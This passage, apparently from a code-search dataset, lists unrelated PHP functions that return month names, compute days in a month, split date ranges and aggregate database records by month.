'%1$s-%2$s', 'month number-name', 'unpublish' ), $month_num, $month_text ),\n\t\t\t);\n\t\t}\n\n\t\treturn $month_names;\n\t}", "function semanasMes($year,$month){\n \n # Obtenemos el ultimo dia del mes\n $ultimoDiaMes=date(\"t\",mktime(0,0,0,$month,1,$year)); \n # Obtenemos la semana del primer dia del mes\n $primeraSemana=date(\"W\",mktime(0,0,0,$month,1,$year)); \n # Obtenemos la semana del ultimo dia del mes\n $ultimaSemana=date(\"W\",mktime(0,0,0,$month,$ultimoDiaMes,$year)); \n # Devolvemos en un array los dos valores\n return array($primeraSemana,$ultimaSemana);\n \n}", "public function getMoisCloture($months)\n {\n \n $result = array();\n\n foreach ($months as $month) {\n \n $explode = explode('-', $month);\n $value = strval(intval($explode[0]) - 1) . '-' . $explode[1];\n array_push($result, $value);\n\n }\n\n return $result;\n\n }", "function getDaysInMonthByYear($year){\n\t if($year%400 == 0 || ($year % 4 == 0 && $year % 100 !== 0)){\n\t $rday = 29;\n\t }\n\t else{\n\t $rday = 28;\n\t }\n\t $daysArr = array();\n\t for ($i = 1; $i <= 12; $i++){\n\t if( $i == 2 ) {\n\t $days = $rday;\n\t }\n\t else {\n\t $days = (($i - 1) % 7 % 2) ? 30 : 31;\n\t }\n\t array_push($daysArr, $days);\n\t }\n\t return $daysArr;\n\t}", "function _getAmountByMonth($year, $sql, $format=0)\r\n\t{\r\n\t\tglobal $langs;\r\n\r\n\t\t$result=array();\r\n\t\t$res=array();\r\n\r\n\t\tdol_syslog(get_class($this).'::'.__FUNCTION__.\"\", LOG_DEBUG);\r\n\r\n\t\t$resql=$this->db->query($sql);\r\n\t\tif ($resql)\r\n\t\t{\r\n\t\t\t$num = $this->db->num_rows($resql);\r\n\t\t\t$i = 0;\r\n\t\t\twhile ($i < $num)\r\n\t\t \t{\r\n\t\t \t\t$row = $this->db->fetch_row($resql);\r\n\t\t \t\t$j = $row[0] * 1;\r\n\t\t \t\t$result[$j] = $row[1];\r\n\t\t \t\t$i++;\r\n\t\t \t}\r\n\t\t \t$this->db->free($resql);\r\n\t\t}\r\n else dol_print_error($this->db);\r\n\r\n\t\tfor ($i = 1 ; $i < 13 ; $i++)\r\n\t\t{\r\n\t\t\t$res[$i] = (int) round((isset($result[$i])?$result[$i]:0));\r\n\t\t}\r\n\r\n\t\t$data = array();\r\n\r\n\t\tfor ($i = 1 ; $i < 13 ; $i++)\r\n\t\t{\r\n\t\t\t$month='unknown';\r\n\t\t\tif ($format == 0) $month=$langs->transnoentitiesnoconv('MonthShort'.sprintf(\"%02d\", $i));\r\n\t\t\telseif ($format == 1) $month=$i;\r\n\t\t\telseif ($format == 2) $month=$langs->transnoentitiesnoconv('MonthVeryShort'.sprintf(\"%02d\", $i));\r\n\t\t\t//$month=dol_print_date(dol_mktime(12,0,0,$i,1,$year),($format?\"%m\":\"%b\"));\r\n\t\t\t//$month=dol_substr($month,0,3);\r\n\t\t\t$data[$i-1] = array($month, $res[$i]);\r\n\t\t}\r\n\r\n\t\treturn $data;\r\n\t}", "private static function validate_months($months)\n\t{\n\t\t$res = array();\n\t\tif (!is_array($months))\n\t\t\t$months = array();\n\n\t\tfor ($i = 1; $i <= 12; $i++) {\n\t\t\t$res[$i] = 0.0;\n\t\t\tif (isset($months[$i])) {\n\t\t\t\t$res[$i] = $months[$i];\n\t\t\t}\n\t\t}\n\t\treturn $res;\n\t}", "public function months(): int\n {\n return $this->months;\n }", "public function get_month_permastruct()\n {\n }", "private function _split_month_data($start_time, $end_time) {\n\t\t$months = array();\n\t\t$date = $start_time;\n\t\twhile ($date < $end_time) {\n\t\t\t$end = strtotime('+1 month', $date);\n\t\t\t$months[$date] = array('start' => $date, 'end' => $end);\n\t\t\t$date = $end;\n\t\t}\n\t\treturn $months;\n\t}", "public static function getMonthNames()\n {\n return array( TextHelper::_('COBALT_JANUARY'),\n TextHelper::_('COBALT_FEBRUARY'),\n TextHelper::_('COBALT_MARCH'),\n TextHelper::_('COBALT_APRIL'),\n TextHelper::_('COBALT_MAY'),\n TextHelper::_('COBALT_JUNE'),\n TextHelper::_('COBALT_JULY'),\n TextHelper::_('COBALT_AUGUST'),\n TextHelper::_('COBALT_SEPTEMBER'),\n TextHelper::_('COBALT_OCTOBER'),\n TextHelper::_('COBALT_NOVEMBER'),\n TextHelper::_('COBALT_DECEMBER') );\n }", "function prim_options_month() {\n $month = array(\n 'jan' => t('jan'),\n 'feb' => t('feb'),\n 'mar' => t('mar'),\n 'apr' => t('apr'),\n 'may' => t('maj'),\n 'jun' => t('jun'),\n 'jul' => t('jul'),\n 'aug' => t('aug'),\n 'sep' => t('sep'),\n 'oct' => t('okt'),\n 'nov' => t('nov'),\n 'dec' => t('dec'),\n );\n\n return $month;\n}", "public function months()\n {\n $input = $this->months;\n\n if (is_null($input) || in_array(0, $input)) { return 'Any month';}\n if (count($input) == 1 ) {return monthsList()[$input[0]];}\n\n sort($input);\n $output = collect($input)->map(function($month) {\n return monthsList()[$month];\n })\n ->implode(', ')\n ;\n\n return $output;\n }", "function _getNbByMonth($year, $sql, $format=0)\r\n\t{\r\n\t\tglobal $langs;\r\n\r\n\t\t$result=array();\r\n\t\t$res=array();\r\n\r\n\t\tdol_syslog(get_class($this).'::'.__FUNCTION__.\"\", LOG_DEBUG);\r\n\t\t$resql=$this->db->query($sql);\r\n\t\tif ($resql)\r\n\t\t{\r\n\t\t\t$num = $this->db->num_rows($resql);\r\n\t\t\t$i = 0; $j = 0;\r\n\t\t\twhile ($i < $num)\r\n\t\t\t{\r\n\t\t\t\t$row = $this->db->fetch_row($resql);\r\n\t\t\t\t$j = $row[0] * 1;\r\n\t\t\t\t$result[$j] = $row[1];\r\n\t\t\t\t$i++;\r\n\t\t\t}\r\n\t\t\t$this->db->free($resql);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tdol_print_error($this->db);\r\n\t\t}\r\n\r\n\t\tfor ($i = 1 ; $i < 13 ; $i++)\r\n\t\t{\r\n\t\t\t$res[$i] = (isset($result[$i])?$result[$i]:0);\r\n\t\t}\r\n\r\n\t\t$data = array();\r\n\r\n\t\tfor ($i = 1 ; $i < 13 ; $i++)\r\n\t\t{\r\n\t\t\t$month='unknown';\r\n\t\t\tif ($format == 0) $month=$langs->transnoentitiesnoconv('MonthShort'.sprintf(\"%02d\", $i));\r\n\t\t\telseif ($format == 1) $month=$i;\r\n\t\t\telseif ($format == 2) $month=$langs->transnoentitiesnoconv('MonthVeryShort'.sprintf(\"%02d\", $i));\r\n\t\t\t//$month=dol_print_date(dol_mktime(12,0,0,$i,1,$year),($format?\"%m\":\"%b\"));\r\n\t\t\t//$month=dol_substr($month,0,3);\r\n\t\t\t$data[$i-1] = array($month, $res[$i]);\r\n\t\t}\r\n\r\n\t\treturn $data;\r\n\t}", "function calculateDurationInMonthsAndYears($months) {\n $duration = [];\n $years = floor($months/12);\n $months = $months%12;\n $duration[\"month\"] = $months;\n $duration[\"years\"] = $years;\n return $duration;\n }", "public function getMonthEn() \n {\n $month = array('January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December');\n \n return $month;\n }", "function get_month_days_cm ($fecha) {\n $labels = array();\n $month = month_converter($fecha->month);\n $monthdays = cal_days_in_month(CAL_GREGORIAN, $fecha->month, $fecha->year);\n $i = 0;\n while ($i < $monthdays) {\n $i++;\n $labels[] = $i;\n }\n return $labels;\n}", "public static function months_within_range($start, $end, $format = \"F\") {\n\t\t$start = (new DateTime($start))->modify('first day of this month');\n\t\t$end = (new DateTime($end))->modify('first day of next month');\n\t\t$interval = DateInterval::createFromDateString('1 month');\n\t\t$period = new DatePeriod($start, $interval, $end);\n\n\t\t$months = [];\n\t\tforeach ($period as $dt) {\n\t\t array_push($months, $dt->format($format));\n\t\t}\n\t\treturn $months;\n\t}", "function monthNames($format='long')\n {\n $formats = array('one'=>'%b', 'two'=>'%b', 'short'=>'%b', 'long'=>'%B');\n if (!array_key_exists($format,$formats)) {\n $format = 'long';\n }\n $months = array();\n for ($i=1; $i<=12; $i++) {\n $stamp = mktime(0, 0, 0, $i, 1, 2003);\n $month = strftime($formats[$format], $stamp);\n switch($format) {\n case 'one':\n $month = substr($month, 0, 1);\n break;\n case 'two':\n $month = substr($month, 0, 2);\n break;\n }\n $months[$i] = $month;\n }\n return $months;\n }", "function retrieveListOfMonths() {\n\t $connection = new Connection();\n\t $pdo = $connection->getConnection();\n\t \n\t $query = \"SELECT DISTINCT LEFT(BillDate, LOCATE('-',BillDate,6)-1)\n FROM hhm_bills WHERE HouseholdID = :value\";\n\t \n\t $availableMonths = $pdo->prepare($query);\n\t if ($availableMonths->execute(array(':value'=>$this->householdId))) {\n\t \n\t $data = $availableMonths->fetchAll(PDO::FETCH_ASSOC);\n\t $list = array();\n\t if ($data) {\n\t foreach ($data as $row) {\n\t foreach ($row as $key => $value){\n\t array_push($list,$value);\n\t }\n\t }\n\t $list = array_reverse($list);\n\t } else {\n\t array_push($list, date('Y-m'));\n\t }\n\t return $list;\n\t } else {\n\t return Page::listOfMonthsPriorToCurrent();\n\t }\t \n\t}", "public static function listMonth()\r\n {\r\n $mes[1] = 'Janeiro';\r\n $mes[2] = 'Fevereiro';\r\n $mes[3] = 'Março';\r\n $mes[4] = 'Abril';\r\n $mes[5] = 'Maio';\r\n $mes[6] = 'Junho';\r\n $mes[7] = 'Julho';\r\n $mes[8] = 'Agosto';\r\n $mes[9] = 'Setembro';\r\n $mes[10] = 'Outubro';\r\n $mes[11] = 'Novembro';\r\n $mes[12] = 'Dezembro';\r\n\r\n return $mes;\r\n }", "public static function getArchiveYears($year) {\n $allMonth = config('content_month_mapping.website_map');\n $currDate = date('Y-m-d');\n $aCurrDate = explode(\"-\", $currDate);\n $currentMonth = $aCurrDate[1];\n $currentYear = $aCurrDate[0];\n if ($currentYear == $year) {\n $aLastMonth = array();\n foreach ($allMonth as $monthId => $monthName) {\n if ($currentMonth >= $monthId) {\n $aLastMonth[$monthId] = $monthName;\n }\n }\n } else {\n $aLastMonth = $allMonth;\n }\n\n return $aLastMonth;\n }", "function _getFocusMonthYear() {\n\n global $dtfrom;\n\n $month_name = \"\";\n $month_num = \"\";\n $year = \"\";\n\n $month_name = date('F', strtotime($dtfrom));\n $month_num = date('n', strtotime($dtfrom));\n $year = date('Y', strtotime($dtfrom));\n\n\n return array(\"MONTH_NAME\" => $month_name, \"MONTH_NUM\" => $month_num, \"YEAR\" => $year);\n}", "public function adjust_date($month, $year)\n {\n $date = array();\n\n $date['month'] = $month;\n $date['year'] = $year;\n\n while ($date['month'] > 12)\n {\n $date['month'] -= 12;\n $date['year']++;\n }\n\n while ($date['month'] <= 0)\n {\n $date['month'] += 12;\n $date['year']--;\n }\n\n if(strlen($date['month']) == 1)\n {\n $date['month'] = '0' . $date['month'];\n }\n\n return $date;\n }", "public function getMonthList() \n {\t\t\n $this->db->select(\"to_char(cm_date, 'mm') as cm_mm, to_char(cm_date, 'month') as cm_month\");\n $this->db->from(\"ims_hris.calendar_main\");\n $this->db->group_by(\"to_char(cm_date,'mm'), to_char(cm_date, 'month')\");\n $this->db->order_by(\"to_char(cm_date, 'mm')\");\n $q = $this->db->get();\n\t\t \n return $q->result_case('UPPER');\n }", "function months($short = false)\n{\n $months = [\n 0 => 'Month',\n 1 => 'January',\n 2 => 'February',\n 3 => 'March',\n 4 => 'April',\n 5 => 'May',\n 6 => 'June',\n 7 => 'July',\n 8 => 'August',\n 9 => 'September',\n 10 => 'October',\n 11 => 'November',\n 12 => 'December',\n ];\n\n if ($short)\n {\n foreach ($months as $number => $name)\n {\n $months[$number] = substr($name, 0, 3);\n }\n }\n\n return $months;\n}", "public function FireStatisticalinYear($date){\n $month_array = array();\n $month = date('Y/m', strtotime($date));\n $month_array[0]['month'] = $month;\n $month_array[0]['count'] = $this->FireStatistical($month);\n for($i = 1; $i < 6; $i++){\n $month = date('Y/m', strtotime($date.' -'.$i.' month'));\n $month_array[$i]['month'] = $month;\n $month_array[$i]['count'] = $this->FireStatistical($month);\n }\n return $month_array;\n }", "protected function getMonths()\n {\n\t$year = $_REQUEST['year'] ;\n\tif( !$year )\n\t{\n\t print( \"Month query failed: no year has been specified\\n\" ) ;\n\t exit( 0 ) ;\n\t}\n\t$year = trim( $year ) ;\n\n\t// need to connect to the database here in order to run the\n\t// function mysql_real_escape_string\n\t$isconnected = $this->cedarconnect() ;\n\tif( $isconnected != \"good\" )\n\t{\n\t print( \"$isconnected\\n\" ) ;\n\t exit( 0 ) ;\n\t}\n\n\tif( $year )\n\t{\n\t $year = mysql_real_escape_string( $year ) ;\n\t}\n\n\t$params = $_REQUEST['params'] ;\n\tif( $params )\n\t{\n\t $params = trim( $params ) ;\n\t $params = mysql_real_escape_string( $params ) ;\n\t}\n\n\t$kinst = $_REQUEST['kinst'] ;\n\tif( $kinst )\n\t{\n\t $kinst = trim( $kinst ) ;\n\t $kinst = mysql_real_escape_string( $kinst ) ;\n\t}\n\n\t$query = \"SELECT DISTINCT d.MONTH\" ;\n\tif( $kinst && !$params )\n\t{\n\t $query .= \" FROM tbl_date d, tbl_date_in_file dif,\" ;\n\t $query .= \" tbl_file_info fi, tbl_record_type rt,\" ;\n\t $query .= \" tbl_record_info ri\" ;\n\t $query .= \" WHERE d.DATE_ID=dif.DATE_ID\" ;\n\t $query .= \" AND dif.RECORD_IN_FILE_ID=fi.RECORD_IN_FILE_ID\" ;\n\t $query .= \" AND fi.RECORD_TYPE_ID=rt.RECORD_TYPE_ID\" ;\n\t $query .= \" AND fi.RECORD_TYPE_ID=ri.RECORD_TYPE_ID\" ;\n\t $query .= \" AND d.YEAR=$year\" ;\n\t $query .= \" AND rt.KINST=$kinst\" ;\n\t}\n\telse if( $params && !$kinst )\n\t{\n\t $query .= \" FROM tbl_date d, tbl_date_in_file dif,\" ;\n\t $query .= \" tbl_file_info fi, tbl_record_info ri\" ;\n\t $query .= \" WHERE d.DATE_ID=dif.DATE_ID\" ;\n\t $query .= \" AND dif.RECORD_IN_FILE_ID=fi.RECORD_IN_FILE_ID\" ;\n\t $query .= \" AND fi.RECORD_TYPE_ID=ri.RECORD_TYPE_ID\" ;\n\t $query .= \" AND d.YEAR=$year\" ;\n\t $query .= \" AND ri.PARAMETER_ID in ($params)\" ;\n\t}\n\telse if( $params && $kinst )\n\t{\n\t $query .= \" FROM tbl_date d, tbl_date_in_file dif,\" ;\n\t $query .= \" tbl_file_info fi, tbl_record_type rt,\" ;\n\t $query .= \" tbl_record_info ri\" ;\n\t $query .= \" WHERE d.DATE_ID=dif.DATE_ID\" ;\n\t $query .= \" AND dif.RECORD_IN_FILE_ID=fi.RECORD_IN_FILE_ID\" ;\n\t $query .= \" AND fi.RECORD_TYPE_ID=rt.RECORD_TYPE_ID\" ;\n\t $query .= \" AND fi.RECORD_TYPE_ID=ri.RECORD_TYPE_ID\" ;\n\t $query .= \" AND d.YEAR=$year\" ;\n\t $query .= \" AND rt.KINST=$kinst\" ;\n\t $query .= \" AND ri.PARAMETER_ID in ($params)\" ;\n\t}\n\telse if( !$params && !$kinst )\n\t{\n\t $query .= \" FROM tbl_date d, tbl_date_in_file dif\" ;\n\t $query .= \" WHERE d.DATE_ID=dif.DATE_ID\" ;\n\t $query .= \" AND d.YEAR=$year\" ;\n\t}\n\n\t$query .= \" ORDER BY d.MONTH ASC\" ;\n\t//print( \"$query\\n\" ) ;\n\n\t$result = parent::dbquery( $query ) ;\n\t$num_rows = mysql_num_rows( $result ) ;\n\tif( $num_rows != 0 )\n\t{\n\t while( $line = mysql_fetch_row( $result ) )\n\t {\n\t\tif( $line )\n\t\t{\n\t\t $colnum = 0 ;\n\t\t foreach( $line as $value )\n\t\t {\n\t\t\tif( $colnum > 0 ) echo \",\" ;\n\t\t\techo $value ;\n\t\t\t$colnum++ ;\n\t\t }\n\t\t echo \"\\n\" ;\n\t\t}\n\t }\n\t}\n\n\tparent::dbclose( $result ) ;\n }", "public function get_mining_month_nums(string $year, ?string $status = null): array {\r\n\t\t$yes_months = ['01', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12'];\r\n\t\t$month_exp = \"FROM_UNIXTIME(`add_time`, '%m')\";\r\n\t\t$year_exp = \"FROM_UNIXTIME(`add_time`, '%Y')\";\r\n\t\tif(is_null($status)) $mining_datas = $this->field(['num'=>['COUNT(*)'], 'month'=>[$month_exp]])->table(['messages'])->where([$year_exp=>$year])->group(['month'])->order(['month'=>'asc'])->line('num', 'month');\r\n\t\telseif(self::IS_READ == $status) $mining_datas = $this->field(['num'=>['COUNT(*)'], 'month'=>[$month_exp]])->table(['messages'])->where([$year_exp=>$year, 'status'=>$status], ['eq', 'eq'])->group(['month'])->order(['month'=>'asc'])->line('num', 'month');\r\n\t\tforeach($yes_months as $month){\r\n\t\t\t$ends[$month] = $mining_datas[$month] ?? 0;\r\n\t\t}\r\n\t\treturn $ends;\r\n\t}", "public function get_month_choices()\n {\n }", "public function get_month($month) {\n\t\t$start_time = 'first day of ' . date( 'M Y', $month );\n\t\t$end_time = 'last day of ' . date( 'M Y', $month );\n\n\t\treturn array(\n\t\t\t'start'\t\t\t=>\tdate('Y-m-d', strtotime($start_time)),\n\t\t\t'end'\t\t\t=>\tdate('Y-m-d', strtotime($end_time)),\n\t\t\t'start_time'\t\t=>\tstrtotime( $start_time ),\n\t\t\t'end_time'\t\t=>\tstrtotime( $end_time )\n\t\t);\n\t}", "public function getCalendarColumns() {\n $dates = array();\n $date = new DateTime();\n\n $dates[] = $date->format(\"Y-m\");\n\n for ($i = 1; $i < 12; $i++) {\n $date->modify('+1 month');\n $dates[] = $date->format(\"Y-m\");\n }\n return $dates;\n }", "public function indivMonthly(Request $request){\n $id = $request->SLAVE_ID;\n $year = date('Y');\n $month = [];\n for($i = 1; $i<=12; $i++){\n $perMonth = 0;\n $res = EMeterData::where('METER_ID',$id)\n ->whereMonth('CREATED_AT', '=', $i)\n ->whereYear('CREATED_AT','=',$year)->latest()->first();\n if (!empty($res) || $res == !null) {\n $perMonth += $res->CURRENT_MONTH_KWH;\n $perMonth = round($perMonth, 4);\n }\n $json = array(\n 'months' => date('D F d Y H:i:s O',mktime(0,0,0,$i,25)),\n 'usage' => $perMonth,\n );\n array_push($month,$json);\n }\n return $month;\n }", "function getArchiveList()\n {\n $sql = \"SELECT LEFT(`published`, 7) AS `year_month`, COUNT(*) AS `count` FROM `blog_articles` WHERE `published` < NOW() GROUP BY `year_month` ASC\";\n $rows = $this->db->fetchAll($sql);\n\n $years = [];\n foreach ($rows as $row) {\n list($year, $month) = explode('-', $row->year_month);\n $time = strtotime($row->year_month.'-01 00:00:00');\n\n if (!isset($years[$year])) {\n $years[$year] = [ 'count' => 0, 'months' => [] ];\n }\n $years[$year]['count'] += (int)$row->count;\n $years[$year]['months'][$month] = [ 'count' => (int)$row->count, 'name' => strftime('%B', $time) ];\n }\n\n return $years;\n }", "protected function _getMonthArrayByLanguage(string $language = null) : array\n\t{\n\t\t$monthArray = [];\n\t\t$dater = new Dater();\n\t\t$articles = Db::forTablePrefix('articles')\n\t\t\t->whereLanguageIs($language)\n\t\t\t->whereNull('access')\n\t\t\t->where('status', 1)\n\t\t\t->orderByDesc('date')\n\t\t\t->findMany();\n\n\t\t/* process article */\n\n\t\tforeach ($articles as $value)\n\t\t{\n\t\t\t$dater->init($value->date);\n\t\t\t$dateKey = $dater->getDateTime()->format('Y-m');\n\t\t\t$monthArray[$dateKey][] = $value;\n\t\t}\n\t\treturn $monthArray;\n\t}", "public function getCcMonths()\n {\n return $this->config->getMonths();\n }", "public function getYears() {\r\n\t\t$year = array();\r\n\t\t$current_year = strftime(\"%Y\");\r\n\t\tfor($i = 2000; $i <= $current_year+1 && $y = strftime(\"%Y\", mktime(0,0,0,0,0,$i)); ++$i) {\r\n\t\t\t$year[$i] = array('id' => $i, 'name' => $y+1);\r\n\t\t}\r\n\t\treturn $year; //array\r\n\t}", "private function _getDays($month, $year)\n {\n $daysInMonth = $this->_daysInMonth($month, $year);\n $days = array();\n\n for ($i = 1; $i <= $daysInMonth; $i++)\n {\n $days[] = $i;\n }\n\n return $days;\n }", "public function getYearValues() {\n\t return array (\n\t array (2012),\n\t array (900),\n\t array (2050),\n\t array ('2050'),\n\t array ('year')\n\t );\n }", "public function month($callback = null)\n {\n return $this->months($callback);\n }", "function get_month_days ($month) {\n $labels = array();\n $month = month_converter($month);\n $monthdays = cal_days_in_month(CAL_GREGORIAN, $month, $date->format('Y'));\n $day = $date->format('d');\n $i = 0;\n while ($i < 30) {\n if ($day <= $monthdays) {\n if (strlen($day) == 1) {\n $day = '0' . $day;\n }\n if (strlen($month) == 1) {\n $month = '0' . $month;\n }\n $labels[] = $day.'-'.$month;\n $day++;\n $i++;\n } else {\n $day = 1;\n $month++;\n $monthdays = cal_days_in_month(CAL_GREGORIAN, $month, $date->format('Y'));\n }\n }\n return $labels;\n}", "public function getStartAndEndDateByMonthAndYear($year = null, $month = null)\n {\n if ($year == null) {\n $year = new \\DateTime('now');\n $startDate = new \\DateTime($year->format('Y') . '-' . $month . '-01');\n $endDate = clone $startDate;\n } else if ($month == null) {\n $startDate = new \\DateTime($year . '-01-01');\n $endDate = new \\DateTime($year . '-12-01');\n } else {\n $startDate = new \\DateTime($year . '-' . $month . '-01');\n $endDate = clone $startDate;\n }\n $startDate->modify('first day of this month');\n $endDate->modify('last day of this month');\n return [\n 'startDate' => $startDate,\n 'endDate' => $endDate\n ];\n }", "function erp_get_financial_year_dates( $date = null ) {\n $start_month = erp_get_option( 'gen_financial_month', 'erp_settings_general', 1 );\n if ( $date == null ) {\n $year = date( 'Y' );\n $month = date( 'n' );\n } else {\n if ( ! is_numeric( $date ) ) {\n $timestamp = strtotime( $date );\n }\n else {\n $timestamp = $date;\n }\n $year = date( 'Y', $timestamp );\n $month = date( 'n', $timestamp );\n }\n\n /**\n * Suppose, $start_month is July and today is May 2017. Then we should get\n * start = 2016-07-01 00:00:00 and end = 2017-06-30 23:59:59.\n *\n * On the other hand, if $start_month = January, then we should get\n * start = 2017-01-01 00:00:00 and end = 2017-12-31 23:59:59.\n */\n if ( $month < $start_month ) {\n $year = $year - 1;\n }\n\n $months = erp_months_dropdown();\n $start = date( 'Y-m-d 00:00:00', strtotime( \"first day of $months[$start_month] $year\" ) );\n $end = date( 'Y-m-d 23:59:59', strtotime( \"$start + 12 months - 1 day\" ) );\n\n return [\n 'start' => $start,\n 'end' => $end\n ];\n}", "function _getAverageByMonth($year, $sql, $format=0)\r\n\t{\r\n\t\tglobal $langs;\r\n\r\n\t\t$result=array();\r\n\t\t$res=array();\r\n\r\n\t\tdol_syslog(get_class($this).'::'.__FUNCTION__.\"\", LOG_DEBUG);\r\n\t\t$resql=$this->db->query($sql);\r\n\t\tif ($resql)\r\n\t\t{\r\n\t\t\t$num = $this->db->num_rows($resql);\r\n\t\t\t$i = 0; $j = 0;\r\n\t\t\twhile ($i < $num)\r\n\t\t\t{\r\n\t\t \t\t$row = $this->db->fetch_row($resql);\r\n\t\t \t\t$j = $row[0] * 1;\r\n\t\t \t\t$result[$j] = $row[1];\r\n\t\t \t\t$i++;\r\n\t\t \t}\r\n\t\t \t$this->db->free($resql);\r\n\t\t}\r\n else dol_print_error($this->db);\r\n\r\n\t\tfor ($i = 1 ; $i < 13 ; $i++)\r\n\t\t{\r\n\t\t\t$res[$i] = (isset($result[$i])?$result[$i]:0);\r\n\t\t}\r\n\r\n\t\t$data = array();\r\n\r\n\t\tfor ($i = 1 ; $i < 13 ; $i++)\r\n\t\t{\r\n\t\t\t$month='unknown';\r\n\t\t\tif ($format == 0) $month=$langs->transnoentitiesnoconv('MonthShort'.sprintf(\"%02d\", $i));\r\n\t\t\telseif ($format == 1) $month=$i;\r\n\t\t\telseif ($format == 2) $month=$langs->transnoentitiesnoconv('MonthVeryShort'.sprintf(\"%02d\", $i));\r\n\t\t\t//$month=dol_print_date(dol_mktime(12,0,0,$i,1,$year),($format?\"%m\":\"%b\"));\r\n\t\t\t//$month=dol_substr($month,0,3);\r\n\t\t\t$data[$i-1] = array($month, $res[$i]);\r\n\t\t}\r\n\r\n\t\treturn $data;\r\n\t}", "public static function getDaysInMonth($month, $year) {}", "public function daysOfMonthProvider(): array\n {\n return [\n // Time Days Match?\n ['1st January', [1], true],\n ['2nd January', [1], false],\n ['2nd January', [2], true],\n ['2nd January', [1, 2], true],\n ['31st January', [1, 8, 23, 31], true],\n ['29th February 2020', [29], true],\n ];\n }", "function get_month()\n {\n $datearray=getdate($this->timestamp);\n return $datearray[\"mon\"];\n }", "function get_month_to_search() {\n global $DB;\n $sql = \"SELECT date AS fecha FROM {report_user_statistics};\";\n $dates = $DB->get_records_sql($sql);\n $result = array();\n foreach ($dates as $date) {\n $fecha = new DateTime(\"@$date->fecha\");\n $result[$fecha->format('m')] = month_converter($fecha->format('m'));\n }\n return $result;\n}", "protected function getDaysArray($month, $year)\n\t{\n\t\t$daysinmonth = $this->days_in_month($month, $year);\n\t\t$domStar = false;\n\t\t$dowStar = false;\n\t\t$da = array_pad([], $daysinmonth + 1, null);\n\t\tunset($da[0]);\n\t\t$dwa = array_pad([], $daysinmonth + 1, null);\n\t\tunset($dwa[0]);\n\t\tforeach ($this->_attr[self::DAY_OF_MONTH] as $d) {\n\t\t\tif ($d['dom'] === '*' || $d['dom'] === '?') {\n\t\t\t\t$domStar = (($d['dom'] == '?') || ($d['period'] == 1));\n\t\t\t\tforeach ($da as $key => $value) {\n\t\t\t\t\tif (($key - 1) % $d['period'] == 0) {\n\t\t\t\t\t\t$da[$key] = 1;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} elseif (is_numeric($d['dom'])) {\n\t\t\t\t$startDay = $d['dom'];\n\t\t\t\tif ($d['domWeekday']) {\n\t\t\t\t\t$datea = getdate(strtotime(\"$year-$month-$startDay\"));\n\t\t\t\t\tif ($datea['wday'] == 6) {\n\t\t\t\t\t\tif ($startDay == 1) {\n\t\t\t\t\t\t\t$startDay = 3;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$startDay--;\n\t\t\t\t\t\t}\n\t\t\t\t\t} elseif ($datea['wday'] == 0) {\n\t\t\t\t\t\tif ($startDay == $daysinmonth) {\n\t\t\t\t\t\t\t$startDay = $daysinmonth - 2;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$startDay++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$endDay = $d['end'];\n\t\t\t\tif ($d['endWeekday']) {\n\t\t\t\t\t$datea = getdate(strtotime(\"$year-$month-$endDay\"));\n\t\t\t\t\tif ($datea['wday'] == 6) {\n\t\t\t\t\t\tif ($endDay == 1) {\n\t\t\t\t\t\t\t$endDay = 3;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$endDay--;\n\t\t\t\t\t\t}\n\t\t\t\t\t} elseif ($datea['wday'] == 0) {\n\t\t\t\t\t\tif ($endDay == $daysinmonth) {\n\t\t\t\t\t\t\t$endDay = $daysinmonth - 2;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t$endDay++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tfor ($i = $startDay; $i <= $endDay && $i <= 31; $i += $d['period']) {\n\t\t\t\t\t$da[$i] = 1;\n\t\t\t\t}\n\t\t\t} elseif ($d['dom'] == 'L') {\n\t\t\t\t$less = empty($d['end']) ? 0 : $d['end'];\n\t\t\t\t$da[$daysinmonth - $less] = 1;\n\t\t\t}\n\t\t}\n\t\t$firstDatea = getdate(strtotime(\"$year-$month-01\"));\n\t\tforeach ($this->_attr[self::DAY_OF_WEEK] as $d) {\n\t\t\tif (is_numeric($d['dow'])) {\n\t\t\t\t//start at the first sunday on or before the 1st day of the month\n\t\t\t\tfor ($i = 1 - $firstDatea['wday']; $i <= $daysinmonth; $i += 7) {\n\t\t\t\t\tfor ($ii = $d['dow']; ($ii <= $d['end']) && ($ii < 7) && (($i + $ii) <= $daysinmonth); $ii += $d['period']) {\n\t\t\t\t\t\t$iii = $i + $ii;\n\t\t\t\t\t\t$w = floor(($iii + 6) / 7);\n\t\t\t\t\t\t$lw = floor(($daysinmonth - $iii) / 7);\n\n\t\t\t\t\t\tif (($iii >= 0) && ((!$d['week'] || $d['week'] == $w) && (!$d['lastDow'] || $lw == 0))) {\n\t\t\t\t\t\t\t$dwa[$iii] = 1;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif ($dowStar) {\n\t\t\treturn $da;\n\t\t} elseif ($domStar) {\n\t\t\treturn $dwa;\n\t\t}\n\t\tforeach ($da as $key => $value) {\n\t\t\t$da[$key] = $value && ($dwa[$key] ?? 0);\n\t\t}\n\t\treturn $da;\n\t}", "function getDay($month, $year)\n {\n if ( empty($year) ) {\n $year = date('Y');\n }\n $day_arr = array();\n if ( $month != 0 ) {\n $number = date('t', mktime(0, 0, 0, $month, 1, $year));\n for ( $i = 1; $i <= $number; $i++ ) {\n $i = sprintf('%02d', $i);\n $day_arr[$i] = $i;\n }\n }\n\n return $day_arr;\n }", "public static function yearsMonthsPassed ( $date1, $date2 ) \r\n {\r\n \r\n \t$d1 = new DateTime( $date1 );\r\n \t$d2 = new DateTime( $date2 );\r\n \r\n \t$diff = $d2->diff( $d1 );\r\n \r\n \t// Return array years and months\r\n \treturn array ( $diff->y, $diff->m );\r\n }", "function getAllMonths($selected = ''){\r\n\t$options = '';\r\n\tfor($i=1;$i<=12;$i++)\r\n\t{\r\n\t\t$value = ($i < 01)?'0'.$i:$i;\r\n\t\t$selectedOpt = ($value == 